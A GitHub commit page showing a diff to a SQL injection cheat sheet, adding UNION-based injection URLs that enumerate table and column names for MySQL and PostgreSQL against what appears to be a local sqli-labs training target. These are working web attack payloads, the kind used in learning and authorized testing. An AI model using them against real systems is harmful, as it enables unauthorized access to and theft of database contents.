Skip to content

Commit

Permalink
modified: readme.md
Browse files Browse the repository at this point in the history
  • Loading branch information
UserXGnu committed Aug 11, 2018
1 parent e3349b3 commit f827c63
Showing 1 changed file with 6 additions and 2 deletions.
8 changes: 6 additions & 2 deletions CheatSheets/SQLI/barehands/readme.md
Original file line number Diff line number Diff line change
Expand Up @@ -63,12 +63,16 @@ Sorting columns to find maximum column

#### Finding table names from a database

`http://192.168.1.104/Less-1/?id=-1 union select 1, 2, tablename from pg_tables where table_catalog="database_name"`
`http://192.168.1.104/Less-1/?id=-1 union select 1, 2, table_name from information_schema.tables where table_schema="database_name"` **mysql**

`http://192.168.1.104/Less-1/?id=-1 union select 1, 2, tablename from pg_tables where table_catalog="database_name"` **postgres**


#### Finding column names from a table

`http://192.168.1.104/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_catalog="database_name" and table_name="tablename"`
`http://192.168.1.104/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_schema="database_name" and table_name="tablename"` **mysql**

`http://192.168.1.104/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_catalog="database_name" and table_name="tablename"` **postgres**

#### Concatenate

Expand Down

0 comments on commit f827c63

Please sign in to comment.